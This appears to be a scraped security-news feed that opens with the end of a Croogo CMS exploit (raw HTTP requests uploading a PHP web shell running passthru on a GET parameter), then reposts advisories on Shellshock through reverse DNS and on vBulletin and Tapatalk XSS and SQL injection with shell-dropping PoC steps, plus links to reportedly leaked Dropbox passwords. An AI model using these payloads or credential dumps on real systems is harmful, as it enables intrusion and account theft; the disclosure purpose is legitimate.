# _method=POST&data%5B_Token%5D%5Bkey%5D=4f20867747cbff33951db804266494804e96bf89&data%5BFileManager%5D%5Bname%5D=shell2.php&data%5B_Token%5D%5Bfields%5D=4aeda1af05803a2ae8503d6033160c17d6335641%253A&data%5B_Token%5D%5Bunlocked%5D=
#
###########
#
# POST /croogo/admin/file_manager/file_manager/editfile?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5Cshell2.php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Referer: http://localhost/croogo/admin/file_manager/file_manager/editfile?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5Cshell2.php
# Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 304
#
# _method=POST&data%5B_Token%5D%5Bkey%5D=5a6516e263eb6e5504e2266783b42cd08e3efe16&data%5BFileManager%5D%5Bcontent%5D=test%0D%0A%3C%3Fphp%0D%0Apassthru%28%24_GET%5B%27cmd%27%5D%29%3B%0D%0A%3F%3E%0D%0A&data%5B_Token%5D%5Bfields%5D=8f1bb3e7acda642ca69ee0430abba1f5ecd5f7a7%253A&data%5B_Token%5D%5Bunlocked%5D=
#
###########
#
# POST /croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Referer: http://localhost/croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C
# Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84
# Connection: keep-alive
# Content-Type: multipart/form-data; boundary=---------------------------25555888422431
# Content-Length: 779
#
# -----------------------------25555888422431
# Content-Disposition: form-data; name="_method"
#
# POST
# -----------------------------25555888422431
# Content-Disposition: form-data; name="data[_Token][key]"
#
# 0d940d3b3f4c80ea98b3e5588c337587f7c50d5e
# -----------------------------25555888422431
# Content-Disposition: form-data; name="data[FileManager][file]"; filename="exploit.php"
# Content-Type: application/octet-stream
#
# test
# <?php
# passthru($_GET['cmd']);
# ?>
#
# -----------------------------25555888422431
# Content-Disposition: form-data; name="data[_Token][fields]"
#
# 6f3f788048d33beefcc340fe281cf758e20ad329%3A
# -----------------------------25555888422431
# Content-Disposition: form-data; name="data[_Token][unlocked]"
#
#
# -----------------------------25555888422431--
#


//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information

CVE-2014-3671: DNS Reverse Lookup as a vector for the Bash vulnerability (CVE-2014-6271 et.al.)

$
0
0
Security Advisory

   DNS Reverse Lookup as a vector for the Bash vulnerability (CVE-2014-6271 et.al.)

                       CVE-2014-3671

references:
     CVE-2014-6271, CVE-2014-7169, CVE-2014-6277, CVE-2014-6278
     CVE-2014-7186 and, CVE-2014-7187

* Summary:

Above CVEs detail a number of flaws in bash prior related to the parsing
of environment variables  (aka BashBug, Shellshock). Several networked
vectors for triggering this bug have been discovered; such as through
dhcp options and CGI environment variables in webservers [1].

This document is to advise you of an additional vector; through a
reverse lookup in DNS; and where the results of this lookup are
passed, unsanitized, to an environment variable (e.g. as part of
a batch process).

This vector is subtly different from a normal attack vector, as the
attacker can 'sit back' and let a (legitimate) user trigger the
issue; hence keeping the footprint for a IDS or WAAS to act on small.

* Resolvers/systems affected:

At this point of time the stock resolvers (in combination with the libc
library) of OSX 10.9 (all versions) and 10.10/R2 are the only known
standard installations that pass the bash exploit string back and
up to getnameinfo().

That means that UNpatched systems are vulnerable through this vector
PRIOR to the bash update documented in http://support.apple.com/kb/DL1769.

Most other OS-es (e.g. RHEL6, Centos, FreeBSD 7 and up, seem
unaffected in their stock install as libc/libresolver and DNS use
different escaping mechanisms (octal v.s. decimal).

We're currently following investing a number of async DNS resolvers
that are commonly used in DB cache/speed optimising products and
application level/embedded firewall systems.

Versions affected:

See above CVEs as your primary source.

* Resolution and Mitigation:

In addition to the mitigations listed in above CVEs - IDSes and similar
systems may be configured to parse DNS traffic in order to spot the
offending strings.

Also note that Apple DL1769 addresses the Bash issue; NOT the vector
through the resolver.

* Reproducing the flaw:

A simple zone file; such as:

     $TTL 10;
     $ORIGIN in-addr.arpa.
     @     IN SOA     ns.boem.wleiden.net dirkx.webweaving.org (
                    666        ; serial
                    360 180 3600 1800 ; very short lifespan.
                    )
     IN          NS     127.0.0.1
     *           PTR      "() { :;}; echo CVE-2014-6271, CVE-201407169, RDNS"

can be used to create an environment in which to test the issue with existing code
or with the following trivial example:

    #include <sys/socket.h>
    #include <netdb.h>
    #include <assert.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netinet/in.h>

    int main(int argc, char ** argv) {
     struct in_addr addr;
     struct sockaddr_in sa;
     char host[1024];

     assert(argc==2);
     assert(inet_aton(argv[1],&addr) == 1);

     sa.sin_family = AF_INET;
     sa.sin_addr = addr;

     assert(0==getnameinfo((struct sockaddr *)&sa, sizeof sa,
          host, sizeof host, NULL, 0, NI_NAMEREQD));

     printf("Lookup result: %s\n\n", host);

     assert(setenv("REMOTE_HOST",host,1) == 0);
     execl("/bin/bash",NULL);
    }


Credits and timeline

The flaw was found and reported by Stephane Chazelas (see CVE-2014-6271
for details).  Dirk-Willem van Gulik (dirkx(at)webweaving.org) found
the DNS reverse lookup vector.

09-04-2011     first reported.
2011, 2014     issue verified on various embedded/firewall/waas
               systems and reported to vendors.
??-09-2014     Apple specific exploited seen.
11-10-2014     Apple confirms that with DL1769 in place that
               "The issue that remains, while it raises
               interesting questions, is not a security
               issue in and of itself."

* Common Vulnerability Scoring (Version 2) and vector:

See CVE-2014-6271.

1:https://github.com/mubix/shellshocker-pocs/blob/master/README.md)

CVE-2013-2021 - vBulletin 5.x/4.x - persistent XSS in AdminCP/ApiLog via xmlrpc API (post-auth)

$
0
0
CVE-2013-2021 - vBulletin 5.x/4.x - persistent XSS in AdminCP/ApiLog via
xmlrpc API (post-auth)

============================================================================
====================



Overview

- --------



    date    :  10/12/2014

    cvss    :  4.6 (AV:N/AC:H/Au:S/C:P/I:P/A:P) base

    cwe     :  79



    vendor  : vBulletin Solutions

    product : vBulletin 4

    versions affected :  latest 4.x and 5.x (to date); verified <= 4.2.2  ;
<= 5.0.x

            * vBulletin 5.0.5      (verified)

           * vBulletin 4.2.2     (verified)

            * vBulletin 4.2.1     (verified)

            * vBulletin 4.2.0 PL2 (verified)



    exploitability :

            * remotely exploitable

            * requires authentication (apikey)

            * requires non-default features to be enabled (API interface,
API-Logging)

            * requires user interaction to trigger exploit (admincp - admin
views logs)



    patch availability (to date) :  None





Abstract

- ---------

    vBulletin 4/5 does not properly sanitize client provided xmlrpc
attributes (e.g. client name)

    allowing the remote xmlrpc client to inject code into the xmlrpc API
logging page.

    Code is executed once an admin visits the API log page and clicks on the
API clients name.



    risk:  rather low - due to the fact that you the api key is required

           you can probably use CVE-2014-2023 to obtain the api key





Details

- --------



    vulnerable component:

        ./admincp/apilog.php?do=viewclient

    apilog.php does not sanitize xmlrpc client provided data before passing
it to

    print_label_row to generate the output page.





Proof of Concept (PoC)

- ----------------------



    see https://github.com/tintinweb/pub/cve-2013-2021





    1) prerequesites

    1.1) enable API, generate API-key

         logon to AdminCP

         goto "vBulletin API"->"API-Key" and enable the API interface,
generate key

         goto "vBulletin API"->"API-Log" and enable all API logging

    2) run PoC

         edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)

         run PoC, wait for SUCCESS! message

    3) trigger exploit

        logon to AdminCP

         goto "vBulletin API"->"API-Log" and hit "view"

         in search results click on "client name"

         the injected msgbox pops up





Timeline

- --------



    2014-01-14: initial vendor contact - no reply

    2014-01-24: vendor contact - no reply

    2014-10-13: public disclosure



Contact

- --------



    tintinweb - https://github.com/tintinweb/pub/cve-2013-2021




//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information

CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API (post-auth)

$
0
0
CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API
(post-auth)

============================================================================
==



Overview

- --------



    date    :  10/12/2014

    cvss    :  7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C) base

    cwe     :  89



    vendor  : vBulletin Solutions

    product : vBulletin 4

    versions affected :  latest 4.x (to date); verified <= 4.2.2

            * vBulletin 4.2.2     (verified)

            * vBulletin 4.2.1     (verified)

            * vBulletin 4.2.0 PL2 (verified)



    exploitability :

            * remotely exploitable

            * requires authentication (apikey)



    patch availability (to date) :  None



Abstract

- ---------

    vBulletin 4 does not properly sanitize parameters to breadcrumbs_create
allowing

    an attacker to inject arbitrary SQL commands (SELECT).



    risk:  rather low - due to the fact that you the api key is required

           you can probably use CVE-2014-2023 to obtain the api key







Details

- --------



    vulnerable component:

        ./includes/api/4/breadcrumbs_create.php

    vulnerable argument:

        conceptid



    which is sanitized as TYPE_STRING which does not prevent SQL injections.





Proof of Concept (PoC)

- ----------------------



    see https://github.com/tintinweb/pub/cve-2013-2022





    1) prerequesites

    1.1) enable API, generate API-key

         logon to AdminCP

         goto "vBulletin API"->"API-Key" and enable the API interface,
generate key

    2) run PoC

         edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)

         provide WWW_DIR which is the place to write the php_shell to (mysql
must have permissions for that folder)

         Note: meterpreter_bind_tcp is not provided

         run PoC, wait for SUCCESS! message

         Note: poc will trigger meterpreter shell



    meterpreter PoC scenario requires the mysql user to have write
permissions

    which may not be the case in some default installations.





Timeline

- --------



    2014-01-14: initial vendor contact, no response

    2014-02-24: vendor contact, no response

    2014-10-13: public disclosure



Contact

- --------

    tintinweb - https://github.com/tintinweb/pub/cve-2013-2022



//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information

CVE-2014-2023 - Tapatalk for vBulletin 4.x - multiple blind sql injection (pre-auth)

$
0
0

*Preliminary VulnNote*



CVE-2014-2023 - Tapatalk for vbulletin 4.x - multiple blind sql injection
(pre-auth)

============================================================================
========



Overview

- --------



    date    :  10/12/2014

    cvss    :  7.8 (AV:N/AC:L/Au:N/C:C/I:N/A:N) base

    cwe     :  89



    vendor  :  Tapatalk Inc

    product :  Tapatalk for vBulletin 4.x

    versions affected:    latest (to date)

                        5.2.1    (verified)

                        4.9.0     (verified)



    exploitability :

                * remotely exploitable

                * NO authentication required

                * NO user interaction required

                * NO special configuration required (default settings)



Abstract

- ---------

    Tapatalk for vBulletin 4.x does not properly sanitize some xmlrpc calls

    allowing unauthenticated users to inject arbitrary SQL commands.



    risk: high



    !! Note !! - this is a preliminary VulnNote. The full PoC / Description
will

    be made available within the next 7 days (see contact) to allow mobiquo
to

    fix this.



    googledork: see PoC code





Details

- --------



    vulnerable component:

        * stripped // see full VulnNote - (contact)

    xmlrpc request is decoded, decoded attacker provided values are directly

    being used in sql query.





Proof of Concept (PoC)

- ----------------------



    see https://github.com/tintinweb/pub/cve-2013-2023





    1) prerequesites

         vBulletin 4.x with Tapatalk for vBulletin 4.x installed

    2) run PoC

         edit PoC to match your TARGET (, optionally DEBUG=True)

         (optionally) edit your query to extract specific database values

         Note: PoC will try to detect tapatalk on that host

         run PoC



    by default extracts

    * mysql root hash (in case vBulletin db user has permissions to do so)

    * vbulletin db record fields (apikey) - perfectly chains with
CVE-2014-2023



    only limited by the vBulletin db_user access permissions





Timeline

- --------



    2014-01-14: initial vendor contact, no response

    2014-02-24: vendor contact, no response

    2014-10-13: public disclosure



Contact

- --------

    tintinweb - https://github.com/tintinweb/pub/cve-2013-2023




//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information

Fuzzing random binaries without execve()

$
0
0
The most common way to fuzz data parsing libraries is to find a simple binary that exercises the interesting functionality, and then simply keep executing it over and over again - of course, with slightly different, randomly mutated inputs in each run. In such a setup, testing for evident memory corruption bugs in the library can be as simple as doing waitpid() on the child process and checking if it ever dies with SIGSEGV, SIGABRT, or something equivalent.
This approach is favored by security researchers for two reasons.

more here...........http://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html

OWTF 1.0 "Lionheart" released!

$
0
0
OWTF 1.0 "Lionheart" (beta) is dedicated to everybody that helped make this challenging release happen, in particular to the courage of all this people, who overcame their sweat, blood and tears to make OWTF the amazing tool it is now, to all of you, thank you!

more here..........http://blog.7-a.org/2014/10/owtf-10-lionheart-released.html

Hackers hold 7 million Dropbox passwords ransom?

$
0
0
Dropbox denies it has been compromised as hackers leak hundreds of passwords online, promising to release almost 7 million more if they're paid for the information.

more here ......http://www.cnet.com/news/hackers-hold-7-million-dropbox-passwords-ransom/

additional links below however it should be noted Dropbox says these are not associates with Dropbox accounts..... https://blog.dropbox.com/2014/10/dropbox-wasnt-hacked/
http://pastebin.com/aRgTJzzg
http://pastebin.com/1AZQ7McK
http://pastebin.com/NtgwpfVm

Introducing FlowBAT, the Flow Analysis GUI

$
0
0
Above all else, we know that network visibility is critical in the modern threat landscape. In a perfect world organizations could collect and store mountains of full packet capture data for long periods of time. Unfortunately, storing packet data for an extended duration doesn't scale well, and it can be cost prohibitive for even for small networks. Even if you can afford to store some level of packet data, parsing and filtering through it to perform network or security analysis can be incredibly time consuming.

more here..........http://www.appliednsm.com/introducing-flowbat/

iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign

$
0
0
Zero-day impacting all versions of Microsoft Windows – used in Russian cyber-espionage campaign targeting NATO, European Union, Telecommunications and Energy sectors - See more at: http://www.isightpartners.com/2014/10/cve-2014-4114/#sthash.mOju9UVg.dpuf

and more info here.........https://translate.google.com/translate?sl=auto&tl=en&js=y&prev=_t&hl=en&ie=UTF-8&u=http%3A%2F%2Fhabrahabr.ru%2Fcompany%2Feset%2Fblog%2F240345%2F&edit-text=



and here...........http://www.welivesecurity.com/2014/10/14/cve-2014-4114-details-august-blackenergy-powerpoint-campaigns/

Snapception

$
0
0
Intercept and decrypt all snapchats received over your network

more here.........https://github.com/thebradbain/snapception
Viewing all 8064 articles
Browse latest View live